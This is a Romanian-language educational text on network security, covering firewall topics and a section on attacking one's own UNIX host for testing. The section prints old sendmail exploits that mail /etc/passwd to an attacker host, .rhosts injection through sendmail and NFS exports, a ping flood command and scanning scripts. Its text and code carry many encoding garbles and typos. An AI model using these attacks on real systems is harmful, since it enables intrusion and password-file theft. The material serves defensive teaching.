Securitatea Datelor pe Internet
CUPRINS
INTRODUCERE………………………………………………..…… 2
Securitatea prin firewall………………………………………..…. 3
1. Conceptul de firewall……………………………………….. 3
2. Avantajele folosirii unui firewall ………………………….. 4
3. Dezavantajele folosirii unui firewall ………………………. 7
4. Componentele unui firewall ……………………………….. 9
4.1 Politica de control al accesului la servicii …..…. 9
4.2 Mecanismele avansate de autentificare ………… 11
4.3 Filtrarea pachetelor………………………………. 15 4.4 Sisteme proxy si portile la nivel aplicatie……………….. 26 4.5Sisteme gazda-bastion…………………..…………………. 29
5. Exemple de arhitecturi firewall………………………………… 32
5.1 Arhitectura firewall de tip filtru de pachete………… 32
5.2. Arhitectura firewall de tip sistem gazda dual ……… 33
5.3 Arhitectura firewall de tip sistem gazda-bastion protejat …… 35
Arhitectura firewall de tip subretea protejata ……….…36
Integrarea intr-o arhitectura firewall a unui server de acces in retea prin modem …………………………………….. 37
6. Implementarea securitatii prin firewall …..…………………… 38
Definirea politicii de securitate prin firewall ………….39
Definirea cerintelor de functionalitate si securitate pentru un firewall ………………………………………………. 41
Cerinte functionale …………………………. 43
Cerinte de securitate ……………………….. 44
Procurarea unui firewall ………………………………. 45
Administrarea unui firewall ……………………………45
Examinarea sistematic[ a securit[\ii unei re\ele ………………….. 47
Testarea propriului sistem ………………………………. 47
Examinarea DNS …………………………………… 49
Examinarea Sendmail ………………………………. 52
Ob\inerea unor informa\ii despre sistem …………… 57
Programe pentru testarea securit[\ii ……………………. 62
COPS ……………………………………………… 62
SATAN ……………………………………………. 63
ISS ………………………………………………… 65
BIBLIOGRAFIE …………………………………………………… 66
=== EXAMIN~1 ===
Examinarea sistematic[ a securit[\ii
unei re\ele
Conform normelor deontologice ,dar ]i legale ,@n unele \[ri ,cum ar fi SUA, examinarea sau verificarea securit[\ii unei re\ele este ilegal[ ,mai pu\in cazul @n care face\i acest lucru cu propria dumneavoastr[ re\ea. #n acest caz ,examinarea poate viza urmato[rele aspecte:
Determin[ dac[ re\eaua ]i calculatoarele componente func\ioneaz[ conform politicii de securitate stabilite;
Descoper[ puncte poten\iale de sl[biciune;
Verific[ jurnalele ,dup[ rularea unor probe de execu\ie.
Examinarea securit[\ii poate fi foarte variat[ , merg`nd de la analiza DNS, p`n[ la folosirea utilitarelor finger, rpcinfo ,showmount ]i NIS,pentru colecterea informa\iilor despre calculatoare ]i utilizatori ,sau a lui SATAN, strobe ]i ISS, pentru scanarea re\elei.
Testarea propriului sistem
#n activitatea de testare a securit[\ii unui sistem UNIX este, adeseori, necesar ca administratorul s[ adopte un alt punct de vedere. Aceasta presupune ca el s[ se transpun[ @n situa\ia, destul de bizar[ de altfel, a unui atacator ce dore]te s[ sparg[ respectivul sistem. O astfel de atitudine este foarte util[ deoarece, @n acest mod, pot fi sesizate multe vulnerabilita\i, @nainte ca un sp[rgator adev[rat s[ le descopere ]i s[ le exploateze. Prezentarea ce urmeaz[ @ncearc[ s[ pun[ administratorul de sistem @n aceast[ nou[ postur[ a atacatorului, @ndemn`ndu-l s[-]i priveasca sistemul cu al\i ochi, s[ @ncerce @n\elegerea modalit[\ilor @n care sistemul s[u poate fi compromis. #n acest mod, administratorii de sistem vor putea lua decizii mai bune ]i mai informate @n legatur[ cu securitatea site-ului lor.
#n loc s[ stea @n interiorul cercului cu teama continu[ provocat[ de atacurile ce pot veni din extertior ,este bine ca administratorul s[ @ncerce s[-]i priveasc[ sistemul din exterior,cu ochii unui potential intrus. El va trebui s[ testeze o serie de trucuri ,s[ verifice existen\a unor bug-uri deja publicate ]i s[ probeze eficien\a mecanismului de monitorizare, pentru a-]i forma o imagine despre vulnerabilit[\ile sistemului s[u ]i modul @n care acesta ar putea fi compromis.
De cele mai multe ori ,hacker-ii reu]esc spargerea unor sisteme, exploat`nd vulnerabilit[\i cunoscute ]i publicate pe INTERNET de c[tre alte persoane. Rareori ei descoper[ prin propria imagina\ie bug-uri ]i vulnerabilit[\i noi. Nu @ncerc[m aici minimizarea capacit[\ii distructive pe care sp[rg[torii de sisteme UNIX o posed[. Adeseori ,ei sunt persoane dotate cu perseveren\[, curiozitate, inteligen\[ ]i, mai ales ,av`nd foarte mult timp la dispozi\ie, pe care @l aloca activit[\ii de c[utare a unor porti\e ascunse , pentru a p[trunde @n sistemele vulnerabile. Cu toate acestea, majoritatea spargerilor sunt realizate prin exploatarea unor bug-uri clasice din sistem sau datorit[ neglijen\ei administratorului de sistem.
Motiva\ia acestei sec\iuni este aceea c[, adeseori, administratorii de sistem nu sunt con]tien\i de pericolele prezentate de atacuri ce dep[]esc , chiar ]i cu foarte pu\in , nivelul banalit[\ii. Este p[cat s[ nu se @nvete nimic din spargerile s[v`r]ite anterior pe alte sisteme , din moment ce metodele au fost date publicit[\ii (prin publicarea pe grupuri de ]tiri , @n reviste, pe Web etc.).
Realizarea acestei sec\iuni s-a bazat pe observa\iile publicate de c[tre Dan Farmer ]i Wietse Venema (autorii pachetului de programe SATAN) referitoare la anumite vulnerabilit[\i ale serviciilor UNIX ce pot fi exploatate, pe c`teva mesaje Usenet ]i ,nu @n ultimul r`nd ,pe propria experien\[ , pe testele efectuate asupra diverselor tipuri de sisteme UNIX: HP-UX, Linux,Unixware si Solaris.
Men\ion[m c[ scopul este de a oferi c`teva posibilit[\i de testare a propriului site , nu de a da re\ete pentru spargerea altor sisteme. Astfel de teste las[ cu siguran\a urme @n fi]ierele de monitorizare ]i descoperirea unor astfel de @ncerc[ri de c[tre administratorii sistemelor respective poate aduce nepl[ceri celui care le-a f[cut @ntr-un mod neautorizat.
#n testele ce vor urma , se va presupune c[ administratorul A ,al sistemului UNIX masina.tinta.ro, solicit[ unui prieten B, ce este la r`ndul s[u administratorul ma]inii atacator.test.ro , aflat[ @n vecin[tate , s[-i ofere un cont pe sistemul s[u pentru a putea testa din exterior securitatea propriului sistem. Contul pe care administratorul A @l ob\ine pe ma]ina atacator.test.ro va avea numele tst .Din acest cont, administratorul A va @ncerca s[-]i sparg[ propriul sistem, @n sensul c[ el va @ncerca s[ ob\in[ accesul @ntr-un cont de test de pe ma]ina masina.tinta.ro cu numele mip. Prezentarea ce va urma se va limita la discutarea tehnicilor ce pot oferi accesul unui intrus (@n cazul de fa\[ tst de pe ma]ina atacator.test.ro) la un Shell (cel al utilizatorului mip ) de pe un alt calculator gazd[ UNIX (masina.tinta.ro).Ob\inerea privilegiilor de root dup[ realizarea acestui pas nu va fi discutat[ aici ,fiind o etapa extrem de dependent[ de tipul site-ului ]i uneori ,banal[.
Dup[ rularea unor astfel de teste din exterior ,este recomandat ca administratorul A s[ verifice fi]ierele log de pe sistemul masina.tinta.ro , pentru a vedea dac[ tentetivele sale de spargere (reu]ite sau nu ) au fost sesizate.
1 Examinarea DNS
DNS (Domain Name Service) realizeaz[ o coresponden\[ @ntre numele calculatoarelor gazd[ (host) ]i adresele IP. Sunt necesare minimum 4 tipuri de @nregistr[ri pentru gestiunea DNS:
SOA ,cea care marcheaz[ punctul de start al autorit[\ii pentru un domeniu sau subdomeniu;
NS , @nregistr[rile care definesc numele server-elor;
#nregistr[rile care fac coresponden\a nume-adres[;
PTR, care fac coresponden\a adres[-nume.
#n afar[ de aceste tipuri de @nregistr[ri, DNS mai poate con\ine:
MX , care @nregistreaz[ leg[turile c[tre server -ele de e-mail;
CNAME , care memoreaz[ alias-urile pentru calculatoare gazd[;
HINFO , care memoreaz[ caracteristicile hard ]i de sistem de operare ale calculatoarelor;
TXT , care furnizeaz[ informa\ii neformatate despre calculatoarele gazd[.
Exista 2 utilitare care permit examinarea DNS-ului:
Comanda nslookup
Este un utilitar interactiv , g[sit pe multe versiuni de UNIX sau @n cadrul unor pachete TCP/IP. O dat[ lansat , programul intra @n modul de lucru interactiv ,afi]`nd prompterul set type = ]i a]tept`nd o comand[ privind tipul de @nregistrare ce se dore]te a se examina (SOA, NS, PTR etc.). Iat[ un exemplu:
# nslookup
Default Server:atacator.test.ro
Address:123.123.123.0
>set type = SOA
>masina.tinta.ro
Server:atacator.test.ro
Address:123.123.123.0
masina.tinta.ro
origin = one.masina.tinta.ro
main addr = root.masina.tinta.ro
serial = 1211234
refresh = 28800 (8 hours)
retry = 3600 (1 hour)
expire = 604800 (7 days)
minimum ttl = 86400 (1 day)
>
#n continuare , se pot afla informa\ii despre arhitectura hard ]i soft a unui host , folosind comanda HINFO:
>set type = HIFO
>news.atm.ro
Server news.atm.ro
Address:103.1.3.3
news.atm.ro CPU=SUN OS=UNIX
ATM.RO nameserver = news.atm.ro
ATM.RO nameserver = ns.atm.ro
news.atm.ro internet address:103.1.3.3
ns.atm.ro internet address:191.15.13.2
>ctrl+D
#
Comanda dig
Aceast[ comand[ furnizeaz[ o interfa\[ de tip linie de comand[ , a c[rei sintaxa tipic[ este urmatoarea:
dig name_server adres[_host tip
unde tip indic[ @nregistr[rile ce vor fi analizate ]i are acelea]i semnifica\ii cu cele din comanda nslookup. Se poate folosi ]i op\iunea -x, f[r[ specificarea unui server de nume , ceea ce conduce la o analiz[ invers[, plec`nd de la adresa unui host.
Pentru listarea unor informa\ii privind coresponden\ele pe care le face DNS ,se mai pot folosi ]i alte c[i :
Demonul named, cel @ns[rcinat cu gestiunea numelor, are un fi]ier numit
/etc/named.boot, care @i permite localizarea tuturor fi]ierelor sale de lucru:
# cat / etc/named.boot
directory /usr/local/named
primary atm.ro atm
primary 0.0.127.in-addr.ro localhost.rev
primary 22.176.204.in-addr.ro atm.rev
cache name.root
#
Intr[rile directorului @i indic[ lui named unde s[ g[seasc[ fi]ierele din baza sa de date :
# cat /usr/local/named/atm
IN SOA second.atm.ro (
7645678 ;serial number
28800 ;refresh in 8 hours
3600 ;retry in one hour
604800 ;expire in one week
8640 ) ;minimum TTL one day
; name server
IN NS second.atm.ro
; host address
localhost IN A 127.0.0.1
second IN A 123.123.123.2
router IN A 123.123.123.3
;
#
#n baza de date mai sus men\ionat[ ,exist[ ]i unele fi]iere care au extensia .rev, care permit ob\inerea unor informa\ii inverse, de mapare a adreselor fizice @n adrese simbolice , ca @n exemplul urm[tor:
# cat /usr/local/named/atm.rev
IN SOA second.atm.ro (
7645678 ;serial number
28800 ;refresh in 8 hour
3600 ;retry in one hour
604800 ;expire in one week
8640 ) ;minimum TTL one day
; name server
IN NS second.atm.ro
; host address
1 IN A localhost
2 IN A second
3 IN A router
;
#
Examinarea Sendmail
Una dintre cele mai exploatate *porti\e* de intrare @ntr-un sistem UNIX a fost ]i r[m`ne programul sendmail , datorit[ numeroaselor probleme de securitate pe care le-a ridicat fiecare din versiunile sale mai vechi sau mai noi. Sendmail este un program deosebit de complex , a c[rui istorie con\ine o lung[ list[ de incidente de securitate : de la celebrul Vierme INTERNET ( noiembrie 1988), p`n[ la cele mai actuale , publicate de CERT. Problemele de securitate ale sendmail-ului au fost @nl[turate @n anumite versini mai noi , dar produsele UNIX ale multor distribuitori folosesc @nc[ versiuni vechi ]i incorecte de sendmail.
Adeseori , sendmail d[ posibilitatea determin[rii tipului de sistem de operare de pe calculatorul \inta ]i a versiunii de senamail ce ruleaz[. Av`nd aceste informa\ii, se pot exploata bug-urile cunoscute pentru respectiva versiune de sendmail. #n plus, se poate vedea dac[ este rulat alias-ul *decode* , care prezint[ o mul\ime de riscuri din punct de vedere al securit[\ii:
test% telnet masina.tinta.ro 25
Trying 128.128.128.1.. .
connecting to host masina.tinta.ro (128.128
.128.1), port 25
connection open
220 masin.tinta.ro Sendmail Sendmail 5.55/masina.tinta.ro
ready at Fri ,6 Nov 93 18:00 PDT
expn decode
250 <”|/usr/bin/uudecode”>
quit
test%
Dac[ efectul comenzii *expn decode* este:
expn decode
250 decode.. .not matched
@nseamn[ c[ alias-ul *decode* nu ruleaz[ pe sistemul respectiv.
Dac[ @nsa alias-ul decode ruleaz[ , atunci este permis[ suprascrierea oric[rui fi]ier ce prezint[ drept de scriere pentru proprietarul acestui alias (el fiind adeseori,un demon ,dar posibil a fi ]i un utilizator.S[ consider[m urm[torul text transmis prin po]t[ electronic[ de pe calculatorul atacator.test.ro spre calculatorul masina.tinta.ro:
test% echo “atacator.rest.ro”| uuencode /home/mip/.rhosts | mail
decode @ masina.tinta.ro
Acest mesaj va plasa atacator.test.ro @n fi]ierul .rhosrs al utilizatorului mip, dac[ exist[ drept de scriere asupra acestuia .Dac[ nu exist[ nici un utilizator al carui director de referin\[ s[ prezinte drept de scriere ,se poate folosi o variant[ a acestui tip de atac: se va crea un fi]ier fals /etc/aliases.pag, ce va con\ine un alias alias cu o comand[ ce se dore]te a fi executat[ pe ma]ina \inta. Acest tip de atac poate reu]i , deoarece pe multe sisteme asupra fi]ierelor aliases.pag ]i aliases.dir (care controleaz[ alias-urile sistem ale mail-ului) exist[ drept de scriere pentru toat[ lumea.
test % cat decode
bin: “ |cat / etc/passwd| mail [anonimizat]”
test % newaliases -oQ/tmp -oA%pwd%/decode
test % uuencode decode.pag/etc/aliases.pag | mail [anonimizat]
test % /usr/lib/sendmail – fbin -om -oi [anonimizat]</dev/null
#n cazul sendmail-ului , exist[ dou[ cunoscute bug-uri de securitate ce trebuie verificate pe un sistem . Primul dintre ele a fost definitiv @nl[turat @n versiunea 5.59 provenind de la Berkeley. Iat[ cum putea fi exploatat bug-ul @n versiunile anterioare lui 5.59:
% cat atac_sendmail
telnet masina.tinta.ro 25 <<EOSM
rcpt to: /home/mip/.rhosts
mail from: mip
data
text oarecare
.
rcpt to: /home/mip/.rhosts
mail from: mip
data
atacator.test.ro
.
quit
EOSM
atacator % /bin/sh atac_sendmail
Trying 128.128.128.1
Connected to masina.tinta.ro
Escape characters is ‘^ ’.
Connection closed by foreign host.
Atacator % rlogin masina.tinta.ro -1 mip
Welcome to masina.tinta.ro!
tinta %
#n ciuda mesajelor afi]ate ]I a mesajelor de eroare , pentru versiunilwe de sendmail anterioare lui 5.59 se va realiza ad[igarea lui atacator.test.ro la fi]ierul .rhosts , 2mpreun[ cu toate antetele aferente mail-ului.
Al doilea bug , @nl[turat destul de recent , permitea pircui specificare aunor comenzi Shell ]i/sau nume cu cale pentru adresa expeditorului sau destinatarului. O vreme s-a @ncertcat a se p[stra acest bug secret , @ns[ f[r[ rezultat. #n listele de mail ]I pa grupurile de ]tiri au ap[rut discu\ii extrem de ample pe acest subiect , indic`ndu-se modalit[\i de exploatare a anumitor versiuni ale bug-ului. Ca multe alte bug-uri din UNIX , variantele de sendmail provenite de la aproape to\i distrobuitorii de sisteme UNIX prezentau aceast[ problem[ de securitate ( deoarece porneau de la acela]I str[mo] comun).
#n continuare, nu se va discuta in extenso aceast[ problem[ . Vom prezenta doar modul @n care ea poate fi speculat[ pentru a se fura fi]ierul de parole. Un astfel de atac se desf[]oar[ ca mai jos:
atacator % telnet masina . tinta,ro 25
Trying 128.128.128.1..
Connected to masina .tinta .ro
Escape character is ‘^ ‘.
220 masina.tinta.ro Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from : “|/bin/mail tstatacator.test.ro < /etc/passwd”
250 “|/bin/mail [anonimizat] </etc/passwd”..Sender ok
rcpt to : nosuchuser
550 nosuchuser..User unknowm
data
354 Enter mail , end with “.” on a line by itself
.
250 Mail accepted
quit
Connected closed by foreogn host.
atacator %
Programul send mail d[ posobolitatea afl[rii multor informa\ii despre ma]in \int[ , prin interofarea dac[ o anumit[ adres[ este acceptabil[ (comanda vrfy) sau la ce este expandat[ o anumit[ adres[ (comanda expn). Chiar ]I atunci c`nd serviciiilr de finger ]I rusers sunt dezactivate , se pot folosi vrfy ]I expn pentru a identifica contuir de utilizatori sau \inte. Cu comenzile vrfy ]I expn se poate vedea dac[ utilizatorul si-a conectat (prin pipe) po]ta la un alt progaram (de exemplu programe de vacan\[ , filtre de sortare a mesajelor etc.).
O solu\ie destul de bun[ este dev a dezactiva comenzile vrfy ]I expn . #n majoritatea versiunilor , aceasta dse poate face prin ]tergerea sau modificarea celor dou[ linii ale structurii CmdTab , ce con\ine ]irurile, *vrfy* ]I *expn* din fi]ierul srvrsmtp.c. Dac[ nu se g[se]te acest fi]ier surs[ , se poate @ncerca dezavctivarea celor dou[ comenzi , prin simpla editare a executabilului sendmail cu un editor binar ]I @nlocuind *vrfy* ]I *expn* cu spa\ii.
Cea mai bun[ solu\ie o reprezint[ , @ns[ , achizi\ionarea unei versiuni recente de sendmail (via anonymous ftp de la ftp.cs.berkeley.edu, din ucb/sendmail ), deoarece probabil, ea va con\ine mai pu\ine bug-uri de securitate dec`t anterioarele.
Vom prezenta un program C pentru scanarea port-urilor dendmail . Acest program va returna primele mesaje care se vor primi @npoi de la fiecare host testat al unei re\ele. El permite determinarea versiunii sendmail folosite de host ]I, uneori, sistemul de operare folosit.
/* Program pentru scanarea port-urilor sendmail (SMTP)
# include <sys/types.h>
# include <sys/socket.h>
# include <netinet/in.h>
# include <stdio.h>
# include <signal.h>
# define TEST_NET “123.123.123.0”
# define T_SIZE 256
# define SMTP_PORT 25
int
alarm_handler ()
{
signal (SIGALARM, alarm_handler);
return (-1);
} int
main()
{
struct sockaddr_in sin;
struct in_addr inaddr;
int sd, I,t,c;
char temp[T_SIZE],*s;
signal (SIGALARM, alarm_handler);
s=(char *)& sin.sin_addr.s_addr;
bzero((char *) &sin, sizeof (sin));
sin.sin_family=AF_INET;
sin.sin_port= htons(SMTP_PORT);
sin.sin_addr.s_addr=inet_addr(TEST_NET);
for (i=1;i<6;i++) (
sd=socket(AF_INET, SOCK_STREAM,0);
s[3]+=1;
fprintf(stderr,”Incercare la %s\n”,
inet_ntoa(sin.sin_addr));
alarm(5);
if (connect(sd,(struct sockaddr *)&sin,sizeof(sin))<0) perror (“Conectare esuata”);
else{
alarm(0)
bzero (temp,T_SIZE);
recv(sd,(void*)temp , T_SIZE, 0);
fprintf(stderr, “%s\n”,temp);
}
closed(sd);
}
exit(0);
}
Dac[ este rulat programul – numit smtpscan-, se pot ob\ine, de exemplu, urm[toarele ie]iri:
% smtpscan
Incercare la 123.123.123.1
Conectare esuata:conection refused
Incercare la 123.123.123.2
220 second.atm.ro Sendmail 4.1/SMI-4.1 ready at Sun, 25 June 96 12:12:12
Incercare la 123.123.123.3
Conectare esuata:Interrupted system call
%
Ob\inerea unor informa\ii despre sistem
#n @ncercarea de a sparge un sistem UNIX, o etap[ important[ o constituie acumularea a c`t mai multor informa\ii despre sistemul respectiv. Am v[zut mai sus modul @n care programul sendmail ne d[ posibilitatea afl[rii tipului de sistem ]I a versiunii de sendmail. #n plus , exist[ o mul\ime de servicii de re\ea ce dau posibilitatea ob\inerii de informa\ii:
finger;
ping;
rpcinfo (pentru a colecta informa\ii de la portmapper-ul de pe sistemul \int[);
showmount (pentru afi]area sistemelor de fi]iere exploatate prin NFS);
nslookup ( pentru examinarea DNS);
dig( pentru examinarea DNS);
whois;
ftp;
uucp ]I altele.
Finger
Pentru @nceput , s[ consider[m binecunoscuta comand[ finger, ce va da un rezultat de forma urm[toare:
atacator % finger @masina.tinta.ro
[masina.tinta.ro]
Login Nume TTY Idle When Where
mrn Mister Nobody co 1d Wed 08:00 nimic.ro
Deci, pe masina.tinta.ro nu lucreaz[, @n acest moment , dec`t un singur uitlizator , ceea ce @nseamn[ c[ atacatorul este sigur c[ nimeni nu va sesiza @ncerc[rile sale.
Se poate folosi finger at`t cu “@”, “0” sau “ ”, c`t ]I pentru nume comune pe sistemele UNIX , cum ar fi bin system, root, guest, demo, pentru ob\inerea unor informa\ii despre prezen\a/absen\a ]I momentul ultimei lor intr[ri @n sistem.
Mul\i demoni de finger r[spund la cereri pare , cum ar fi :
atacator % finger 2 @ masina.tinta.ro
O astfel de cerere poate returna , pe anumite sisteme , toate conturile
utilizatorilor cu UID mai mic dec`t 100. La adresa :
duke.bwh.harward.edu:/pub/adam/finger_sumary
se poate g[si o @ntreag[ list[ cu substitu\ii pentru finger.
Pentru a afla mai multe informa\ii despre utilizatorii ce sunt activi la un moment dat @ntr-un sistem UNIX, se poate folosi ]I comanda rusers cu op\iunea -l. Atacatorul @]i poate forma o imagine despre sistemul pe care @l vizeaz[ : utilizatorii activi , conturi sistem @n care nu s-a conectat nimeni , activitatea din sistemul respectiv la anumite momente ale zilei. Mai mult , numele de utilizator ]i alte informa\ii furnizate de serviciul finger pot fi fo,losite pentru ghicirea parolelor utilizatorilor , @n cazul @n care acestea nu sunt bine alese .
S-a constatat c[ finger esrte unul dintre cele mai periculoase servicii , deoarece el este foarte util @n investigarea unei ma]ini \int[. Cu toate acestea , multe din informa\iile furnizate de finger pot fi folosite doar @n conjunc\ie cu alte date.
Ping
Comanda ping poate fi folosit[ pentru interogarea unor adrese de calculatoare gazd[ din re\ea . Iat[ un script Shell ce colecteaz[ toate adresele IP , @n cep`nd cu 141.85.37, folosind comanda ping:
#!/bin/sh
i=1
RETEA=141.85.37.
while [$I -lt 255]
do
if (ping $RETEA$i 3 >/dev/null)
then
echo $RETEA$I
fi
i=’expr $I + 1’
done
Exist[ instrumente de scanare a re\elelor mult mai complexe : netscan (inclus @n Firewall Toolkit),ISS , Strobe etc.
Comanda ping , datorit[ modului s[u de func\ionare , poate fi folosit[, de asemenea, @n atacuri de refuz al serviciului astfel:
atacator% ping -f -s 8096 -c 100000 masina.tinta.ro
O astfel de comand[ va avea ca efevt inundarea (-f) cu 100000 (-c 100000) de pachete de 8K (-s 8096) a sistemului masina.tinta.ro , un atac simplu ]I efectiv de refuz al servciului.
Rpcinfo
Multe calculatoare gazd[ au servicii RPC ce pot fi exploatate . Comanda rpcinfo poate accesa portmapper-ul sistemului respectiv. #ntr-un sistem cu servicii RPC , portmapper-ul @nregistreaz[ numele de port-uri la care ascult[ server-ele de RPC ]I furnizeaz[ , la cerere, aceste numere de port-uri. Folosind rpcinfo se pot afla informa\ii de genul urm[tor:
dac[ ma]ina \int[ ruleaz[ NIS;
dac[ este client sau server NIS;
dac[ pe sistemul respectiv este o sta\ie de lucru f[r[ disc;
dac[ ruleaz[ NFS.
Un exemplu de ie]ire a comenzii rpcinfo este urm[torul:
atacator% rpcinfo -p masina.tinta.ro
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
……
Dup[ cum se observ[ , o astfel de list[ dezv[luie destul de multe informa\ii ce pot fi utile @n atacarea sistemului. O comand[ rpcinfo pentru un sistem sigur ar trebui s[ furnizeze urm[toarea ie]ire:
atacator % rpcinfo -p masina.tinta.ro
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
Showmount
#n cazul @n care comanda rpcinfo arat[ c[ NFS ruleaz[ pe ma]ina \int[ , se poate folosi comanda showmount. Aceasta furnizeaz[ o list[ a sistemelor de fi]iere exportate de pe ma]ina respectiv[:
atacator% showmount -e masina.tinta.ro
export list for mesina.tinta.ro:
/export/foo (everyone)
/usr easy
#n exemplul de mai sus , se observ[ c[ /export/foo este exportat spre toat[ lumea. Presupun`nd c[ el este directorul de referin\[ al utilizatorului guest , el poatwe fi montat @n /export/foo. Deoarece nu exist[ un cont corespunz[tor pe ma]ina local[ ]i deoarece root-ul nu poate modifica fi]ierele de pe sistemele de fi]iere montate prin NFS, va trebui creat[ o intarre temporar[ pentru contul guest @n fi]ierul local de parole. Sub numele de utilizator guest , se va putea crea o intare .rhosts @n directorul de referin\[ al utilizatorului guest de pe ma]ina \int[. Acesta va permite intrarea pe masina.tinta.ro de pe atacator.test.ro, f[r[ introducerea vreunei parole:
atacator # mount masina.tinta.ro:/export/foo/foo
atacator # cd /foo
atacator # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1996 ..
1 drwx—x—x 9 10001 daemon 1024 Aug 3 15:49 guest
atacator# echo guest:x:10001:1:Cont temporar fol.pt. spargwere:/:>>
etc/passwd
atacator# ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1996 ..
1 drwx—x—x 9 guest daemon 1024 Aug 3 15:49 guest
atacator# su guest
atacator% echo atacator.test.ro >> guest/.rhosts
atacator% rlogin masina.tinta.ro
Welcome to masina.tinta.ro!
tinta%
Dac[ masina.tinta.ro ar fi exportat sisteme de fi]iere con\in`nd comenzi ale utilizatorului , ar fi ap[rut , de asemenea , probleme. De exemplu:
atacator% showmount -e masina.tinta.ro
export list for masina.tinta.ro:
/usr (everyone)
sau
/usr/local/bin (everyone)
#n cazul de mai sus , ar putea fi @nlociut[ o comand[ cu un *cal troian* care s[ execute orice comand[ dore]te atacatorul. Primul utilizator de pe masina.tinta.ro , care ar fi lansat @n execu\ie comanda respectiv[ , ar fi rulat, de fapt, programul introdus de atacator.
Datorit[ multiplelor probleme de securitate pe care exportarea eronat[ a sistemelor d fi]iere o ridic[ , se recomand[ ca sistemele de fi]iere s[ fie exportate pentru citire/scriere doar unor clien\i siguri, iar restul exporturilor s[ fie f[cute doar pentru citire (read only) , dac[ este posibil.
2. Programe pentru testarea securit[\ii
#n ultima vreme au ap[rut , multe programe care pot s[ verifice automat dac[ un sistem UNIX prezint[ puncte slabe din punctul de vedere al securit[\ii. Aceste programe pot testa un calculator sau o @ntreag[ re\ea de calculatoare , f[c`nd o mul\ime de teste de securitate @ntr-un interval relativ scurt. C`teva dintre programele de acest gen sunt : COPS, SATAN, ISS, Tiger, PASSWD+, NPASSWD.
Acest tip de programe pot fi folosite at`t de sp[rg[torii de sisteme , pentru g[sirea eventualelor * por\i de intrare * , c`t ]i de c[tre administratorii de sistem , ca instrumente pentru verificarea propriilor sisteme ]i eliminarea sl[biciunilor. Prezent[m c`teva detalii despre unele din aceste programe.
2.1 COPS ( Computer Oracle and Password System)
Unul dintre cele mai puternice ]i cunoscute pachete de instrumente pentru verificarea securit[\ii unui sistem UNIX este COPS ( Computer Oracle and Passward System) , scris de Dan Farmer . COPS con\ine un set de programe care fac verific[ri automate ale securit[\ii sistemului. Astfel de verific[ri sunt , adesea, efectuate numai de c[tre un administrator de sistem . Fiecare dintre utilitarele de verificare din COPS testeaz[ om anumit[ arie din securitatea unui sistem UNIX , care verific[ urm[toarele:
permisiunile de acces pentru fi]iere , cataloage , dispozitive periferice;
siguran\a parolelor (dac[ pot fi u]or sparte);
con\inutul , formatul ]i securitatea fi]ierului de parole ]i a fi]ierului de grupuri;
programele ]i fi]ierele ce ruleaz[ @n /etc/rc* ]i fi]ierul cron(tab);
existen\a fi]ierelor SUID-root , accesibilitatea lor la scriere ]i dac[ acestea sunt sau nu script-uri Shell;
CRC-ul pentru fi]iere binare importante ]i pentru fi]iere cheie , raport`ndu-se schimb[rile ap[rute @n acestea;
accesibilitatea la scriere a directoarelor de referin\[ ale utilizatorilor ]i a fi]ierelor lor de configurrare (.profile, . cshrc etc);
setarea pentru ftp anonim;
ftfp nerestric\ionat , alias pentru decode @n sendmail , Shell-uriascunse @n interiorul fi]ierului inetd.conf, rexd rul`nd @n inetd.conf;
diferite verific[ri la nivel de root – directorul curent @n calea curent[, un *+* @n fi]ierul /host/host.equiv, mont[ri nerestric\ionate de NFS, verificarea c[ root este @n / etc/ftpusers etc.;
sistemul expert Kuang. Acesta @ncearc[ s[ determine , folosind un set de reguli , dac[ sistemul poate fi compromis.
SATAN
De]i numele poate sugera altceva , SATAN ( Security Analysis Tool for Auditing Networks ) este un instrument pentru analiza ]i monitorizare asecurit[\ii re\elelor , scris de Dan Farmer ]i Wietse Venema.
#n modul de func\ionare implicit , SATAN colecteaz[ informa\ii despre c`t mai multe re\ele ]i calculatoare gazd[ situate la distan\[ , prin examinare aunor servicii de re\ea cum ar fi finger, NFS, NIS, ftp, tftp, rexd ]i altele.
Cu toate c[ SATAN nu folose]te toate metodele posibile pentru a testa neregulile din sistem , el a reu]it cu regularitate s[ g[seasc[ lipsurile din securitatea site-urilor din INTERNET.
SATAN are o arhitectur[ extensibil[. Partea central[ este constituit[ dintr-un nucleu generic , ce cunoa]te destul de pu\ine sau nimic despre tipurile de sisteme, numele srviciilor de rte\ea , vulnerabilit[\i sau alte detalii. Cuno]tin\e despre acestea sunt @nglobate @ntr-o mic[ colec\ie de date ]i reguli de baz[ . Comportamentul SATAN este controlat prin intermediul unui fi]ier de configurare( config/satan.cf ) . Configur[rile pot fi modificate prin op\iuni date din linia de comand[ sau prin intermediul unei interfe\e hipertext.
Nucleul SATAN este constituit din urm[toarele p[r\i principale:
Ma]ina de operare : determin[ , folosind set[rile din fi]ierul de configuare , dac[ un calculator gazd[ trebuie verificat sau nu ]i ce nivel de verificare este adecvat pentru respectivul calculator;
Achizi\ia de \inte : genereaz[ o list[ de verific[ri cer vor fi rulate pentru calculatoarele gazd[ din fi]ierul de configurare . Aceast[ list[ servr]te ca intrare pentru subsistemul de achizi\ie de date ]i controleaz[ ramifica\iile subre\elelor;
Achizi\ia re date : folosind lista de teste furnizat[ de subsistemul anterior , ruleaz[ instrumente respective pentru colectare ade date ]i genereaz[ date noi ce vor servi ca intrare pentru ma]in ade inferen\[;
Ma]ina de inferen\[: folosind datele furnizate de subsistemul anterior , genereaz[ noi nume de calculatoare gazd[, noi teste ]i date . Noile calculatoare gazd[ vor servi ca intrare pentru subsistemul de achizi\ie de \inte. Noile teste vor fi folosite de subsistemul de achizi\ie de date , iar noile date sunt procesate de ma]ina de inferen\[;
Rapoarte ]i analiz[ : acest subsistem ia datele colectate ]i construie]te un hiperspa\iu virtual ce poate fi explorat cu un navigator ( Mosaic, Nescape, Lynx etc.).
